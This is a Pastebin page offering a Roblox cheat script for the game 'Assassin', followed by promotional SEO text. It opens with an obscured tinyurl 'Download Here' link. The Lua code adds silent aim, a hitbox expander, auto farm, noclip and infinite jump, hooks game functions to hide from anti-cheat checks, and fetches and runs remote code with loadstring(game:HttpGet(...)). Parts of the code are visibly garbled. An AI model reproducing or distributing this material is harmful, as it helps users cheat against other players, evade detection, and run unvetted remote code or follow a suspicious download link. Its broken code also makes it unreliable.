Advertisement
Guest User

Assassin script roblox

a guest
Nov 10th, 2024
724
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.58 KB | None | 0 0
  1. -
  2. Download Here --> https://tinyurl.com/y9f2w95m (Copy and Paste Link)
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9. Roblox Script -- Assassin | Hitbox Expander, Silent Aim, Auto Farm & More
  10. local old = getrenv().gcinfogetrenv().gcinfo = function(. ) return wait(9e9)end_G.Toggle = false_G.Toggle2 = false_G.autofarmtoggle = falselocal noclip = falselocal Camera = game:GetService("Workspace").CurrentCamera;local Mouse = game:GetService("Players").LocalPlayer:GetMouse();local Players = game:GetService("Players");local Player = Players.LocalPlayer;local CoreGui = game.CoreGuilocal ContentProvider = game.ContentProviderlocal RobloxGuis = getgenv().noclip = false FOV_Circle = Drawing.new("Circle");FOV_Circle.Color = Color3.fromRGB(255,255,255);FOV_Circle.Thickness = 1.5;FOV_Circle.NumSides = 13;FOV_Circle.Radius = 150;FOV_Circle.Visible = false;FOV_Circle.Filled = false;FOV_Circle2 = Drawing.new("Circle");FOV_Circle2.Color = Color3.fromRGB(255,255,255);FOV_Circle2.Thickness = 1.5;FOV_Circle2.NumSides = 13;FOV_Circle2.Radius = 150;FOV_Circle2.Visible = false;FOV_Circle2.Filled = false;game:GetService('RunService').Stepped:connect(function() FOV_Circle.Position = Vector2.new(Mouse.X, Mouse.Y + 37)end)game:GetService('RunService').Stepped:connect(function() FOV_Circle2.Position = Vector2.new(Mouse.X, Mouse.Y + 37)end)game:GetService("UserInputService").InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 and _G.Toggle == true then task.wait(.35); local function ClosestPlayerToCursor() local Closest = nil; local Distance = 9e9; for i, v in pairs(game:GetService("Players"):GetPlayers()) do if v ~= Player then if Workspace[v.Name]:FindFirstChild("Humanoid") and Workspace[v.Name].Humanoid.Health ~= 0 then local Position = Camera:WorldToViewportPoint(Workspace[v.Name].HumanoidRootPart.Position); local Magnitude = (Vector2.new(Position.X, Position.Y) - Vector2.new(Mouse.X, Mouse.Y)).Magnitude; if Magnitude Closest = workspace[v.Name]; Distance = Magnitude; end end end end return Closest endlocal ThrowAtTarget = function(args1, args2, args3) return game:GetService("ReplicatedStorage").Remotes.ThrowKnife:FireServer(args1,args2,args3); end ThrowAtTarget(workspace[ClosestPlayerToCursor().Name].Head.Position, 0, CFrame.new()); endend)function GetTime(Distance, Speed) local Time = Distance / Speed return Timeendfunction spritzTween(targetpart,spritzspeed) local Speed = spritzspeed local Distance = (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - targetpart.Position).magnitude local Time = GetTime(Distance, Speed) local TweenService = game:GetService("TweenService") local spritzttable = TweenInfo.new( Time, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false, 0 ) local Tween = TweenService:Create(game.Players.LocalPlayer.Character.HumanoidRootPart,spritzttable,) Tween:Play()end local function FilterTable(tbl) local context = syn_context_get() syn_context_set(7) local new = for i,v in ipairs(tbl) do --roblox iterates the array part if typeof(v) ~= "Instance" then table.insert(new, v) else if v == CoreGui or v == game then --insert only the default roblox guis for i,v in pairs(RobloxGuis) do local gui = CoreGui:FindFirstChild(v) if gui then table.insert(new, gui) end endif v == game then for i,v in pairs(game:GetChildren()) do if v ~= CoreGui then table.insert(new, v) end end end else if not CoreGui:IsAncestorOf(v) then table.insert(new, v) else --don't insert it if it's a descendant of a different gui than default roblox guis for j,k in pairs(RobloxGuis) do local gui = CoreGui:FindFirstChild(k) if gui then if v == gui or gui:IsAncestorOf(v) then table.insert(new, v) break end end end end end end end syn_context_set(context) return newendlocal oldold = hookfunc(ContentProvider.PreloadAsync, function(self, tbl, cb) if self ~= ContentProvider or type(tbl) ~= "table" or type(cb) ~= "function" then --note: callback can be nil but in that case it's useless anyways return old(self, tbl, cb) end--check for any errors that I might've missed (such as table being which causes "Unable to cast to Array") local err task.spawn(function() --TIL pcalling a C yield function inside a C yield function is a bad idea ("cannot resume non-suspended coroutine") local s,e = pcall(old, self, tbl) if not s and e then err = e end end) if err then return old(self, tbl) --don't pass the callback, just in case endtbl = FilterTable(tbl) return old(self, tbl, cb)end)local oldold = hookmetamethod(game, "__namecall", function(self, . ) local method = getnamecallmethod() if self == ContentProvider and (method == "PreloadAsync" or method == "preloadAsync") then local args = if type(args[1]) ~= "table" or type(args[2]) ~= "function" then return old(self, . ) endlocal err task.spawn(function() setnamecallmethod(method) --different thread, different namecall method local s,e = pcall(old, self, args[1]) if not s and e then err = e end end)if err then return old(self, args[1]) endargs[1] = FilterTable(args[1]) setnamecallmethod(method) return old(self, args[1], args[2]) end return old(self, . )end)local mt = getrawmetatable(game);make_writeable(mt);local old_index = mt.__index;mt.__index = function(a, b)if tostring(a) == "HumanoidRootPart" thenif tostring(b) == "Size" thenreturn Vector3.new(2, 2, 1);endendreturn old_index(a, b);endlocal OrionLib = loadstring(game:HttpGet(('https://raw.githubusercontent.com/shlexware/Orion/main/source')))()local Window = OrionLib:MakeWindow()local CombatTab = Window:MakeTab( Name = "Combat", PremiumOnly = false>)CombatTab:AddToggle( Name = "Silent Aim", Default = false, Callback = function(Value) _G.Toggle = Value end>)local AutoTab = Window:MakeTab( Name = "Auto", PremiumOnly = false>)AutoTab:AddToggle( Name = "Auto Farm", Default = false, Callback = function(Value) _G.autofarmtoggle = Value noclip = Value end>)local Tab = Window:MakeTab( Name = "Hitbox", PremiumOnly = false>)local Section = Tab:AddSection( Name = "Hitbox Settings">)Tab:AddToggle( Name = "Hitbox Expander", Default = false, Callback = function(Value) if Value == true then getgenv().OFFON = true getgenv().ReSizeXCV = getgenv().SizeXCV getgenv().TransparencyXCV = 0.7 getgenv().ColourXCV = Color3.fromRGB(163, 162, 165) else if Value == false then getgenv().OFFON = false getgenv().SizeXCVs = Vector3.new(2,2,1) getgenv().TransparencyXCV = 1 getgenv().ColourXCV = Color3.fromRGB(163, 162, 165) end end end >)Tab:AddSlider( Name = "Hitbox Size", Min = 0, Max = 100, Default = 2, Color = Color3.fromRGB(255,255,255), Increment = 1, ValueName = "Hitbox", Callback = function(Value) if getgenv().OFFON == true then do getgenv().SizeXCV = Vector3.new(Value,Value,Value) getgenv().ReSizeXCV = SizeXCV end endend>)Tab:AddColorpicker( Name = "Hitbox Colour", Default = Color3.fromRGB(255, 0, 0), Callback = function(Value) if getgenv().OFFON == true then do getgenv().ColourXCV = Value end end end >)local VisTab = Window:MakeTab( Name = "Visuals", PremiumOnly = false>)VisTab:AddToggle( Name = "Fov Toggle", Default = false, Callback = function(Value) FOV_Circle.Visible = Value end>)VisTab:AddSlider( Name = "FOV Size", Min = 0, Max = 300, Default = 150, Color = Color3.fromRGB(255,255,255), Increment = 1, ValueName = "Size", Callback = function(Value) FOV_Circle.Radius = Value FOV_Circle2.Radius = Value end>)local MiscTab = Window:MakeTab( Name = "Misc", PremiumOnly = false>)MiscTab:AddButton( Name = "Server Hop", Callback = function() game:GetService("TeleportService"):Teleport(game.PlaceId, game:GetService("Players").LocalPlayer) end >)local LocalTab = Window:MakeTab( Name = "Local Player", premiumOnly = false>)getgenv().Infjump = falseLocalTab:AddToggle( Name = "Infinite Jump", Default = false, Callback = function(Value) Infjump = Value end>)LocalTab:AddToggle( Name = "Noclip", Default = false, Callback = function(Value) noclip = Value end>)spawn(function() game:GetService('RunService').RenderStepped:connect(function() pcall(function() while _G.autofarmtoggle == true do spritzTween(game.Workspace[game.Players.LocalPlayer.PlayerGui.ScreenGui:WaitForChild("UI"):WaitForChild("Target"):WaitForChild("TargetText").Text].HumanoidRootPart,30) game.workspace.Gravity = 0 wait(0.1) end end) end)end)spawn(function() game:GetService('RunService').RenderStepped:connect(function() pcall(function() while _G.autofarmtoggle == true do wait(0.8) mouse1click() end end) end)end)spawn(function() game:GetService('RunService').RenderStepped:connect(function() pcall(function() while _G.autofarmtoggle == false do if _G.autofarmtoggle == false then game.workspace.Gravity = 196.2 end wait(10) end end) end)end)spawn(function() game:GetService('RunService').RenderStepped:connect(function() pcall(function() if _G.Toggle2 then for i, v in pairs(game:GetService("Workspace").KnifeHost.PowerUps:GetDescendants()) do if v:IsA("Part") then v.Archivable = false end end end end) end)end)spawn(function() game:GetService('RunService').RenderStepped:connect(function() pcall(function() if _G.Toggle2 then for i, v in pairs(game:GetService("Workspace").KnifeHost:GetDescendants()) do if v:IsA("Part") then if v.Archivable == true then local PlayerPosition = ClosestPlayerToCursor().baseHitbox.CFrame v.CFrame = PlayerPosition end end end end end) end)end)spawn(function() game:GetService('RunService').RenderStepped:connect(function() char = game.Players.LocalPlayer.Character while noclip do for _,v in pairs(char:children()) do pcall(function() if v.className == "Part" then v.CanCollide = false elseif v.ClassName == "Model" then v.Head.CanCollide = false end end) end game:service("RunService").Stepped:wait() end end)end)spawn(function() game:GetService('RunService').RenderStepped:connect(function() game:GetService("UserInputService").JumpRequest:Connect(function() if Infjump then game:GetService"Players".LocalPlayer.Character:FindFirstChildOfClass'Humanoid':ChangeState("Jumping") end end) end)end)spawn(function() game:GetService('RunService').RenderStepped:connect(function()for i,v in pairs(game:GetService('Players'):GetPlayers()) do if v.Name ~= game.Players.LocalPlayer.Name thengame.Workspace[v.Name].HumanoidRootPart.Size = SizeXCVgame.Workspace[v.Name].HumanoidRootPart.Transparency = TransparencyXCV or SizeXCVsgame.Workspace[v.Name].HumanoidRootPart.Color = ColourXCVgame.Workspace[v.Name].HumanoidRootPart.Material = "Neon"game.Workspace[v.Name].HumanoidRootPart.CanCollide = falsewait()endendend)end)syn.protect_gui(Window)
  11. Silent Assassin Script | Aimbot, And More! - 2022
  12. Various assassination plans. So, if you're seeking for Silent Assassin Script like Kill All, GodMode, and other options, here is a list of all the options that are currently accessible for you to use. Roblox Silent Assassin Script is a game that will always be available and is still worthwhile playing, despite not being as well-liked as Murder Mystery 2. Since Prisman's 2016 launch of the game, more than 700 million individuals have visited it, and there are currently more than 300 active players.
  13. Features Of Silent Assassin Script
  14. You are given a knife and a target to surreptitiously assassinate as part of the game. However, you should be cautious of other players who might be looking for you. Pastebin Roblox Slient Assassin Script Free The unique notion of Roblox Script Gui is one of its advantages, and it also offers a trade system. The game also provides an unmatched level of customization and a huge selection of weapon skins.
  15. Items have levels, and there are three levels inside each level. Items with a high level have substantially more power. You have a lot greater armor and deal a lot more damage to opponents. If you want to avoid the hassles of grinding and perhaps activate crucial hacks that can give you the advantage over your opponent, here is the best and most recent Silent Assassin Script, to use right now. For More Free Roblox Scripts.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement